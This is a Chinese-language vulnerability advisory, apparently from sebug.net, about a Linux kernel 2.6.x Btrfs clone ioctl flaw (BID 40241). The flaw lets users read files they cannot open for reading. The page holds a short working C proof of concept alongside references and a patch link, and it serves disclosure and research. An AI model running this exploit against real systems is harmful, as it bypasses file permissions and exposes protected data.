Linux kernel实现创建不安全克隆漏洞

2011-02-14 17:45:55 作者:anquan 来源:本站原创 浏览次数:0

影响版本:

影响版本:

Linux kernel 2.6.x

漏洞描述:

BUGTRAQ  ID: 40241

Linux Kernel是开放源码操作系统Linux所使用的内核。

Linux Kernel的Btrfs实现中btrfs_ioctl_clone() ioctl将用户所提供的源文件描述符拷贝到了目标文件描述符,但在执行拷贝操作之前没有检查源文件描述符是否已被打开读取,这允许攻击者无需拥有读权限便可读取克隆的文件。

<*参考

    https://bugzilla.redhat.com/show_bug.cgi?format=multiple&id=593226
    https://bugs.launchpad.net/ubuntu/+source/linux/+bug/579585

*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

#include <fcntl.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>

#define BTRFS_IOC_CLONE _IOW(0x94, 9, int)

int main(int argc, char * argv[])
{

  if(argc < 3) {
    printf("Usage: %s [target] [output]\n", argv[0]);
    exit(-1);
  }

  int output = open(argv[2], O_WRONLY | O_CREAT, 0644);

  /* Note - opened for writing, not reading */
  int target = open(argv[1], O_WRONLY);

  ioctl(output, BTRFS_IOC_CLONE, target);

}

SEBUG安全建议:

厂商补丁:

Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=5dc6416414fb3ec6e2825fd4d20c8bf1d7fe0395

关键词:Linuxkernel

[收藏] [打印] [关闭] [返回顶部]

赞助商广告

更多

热门标签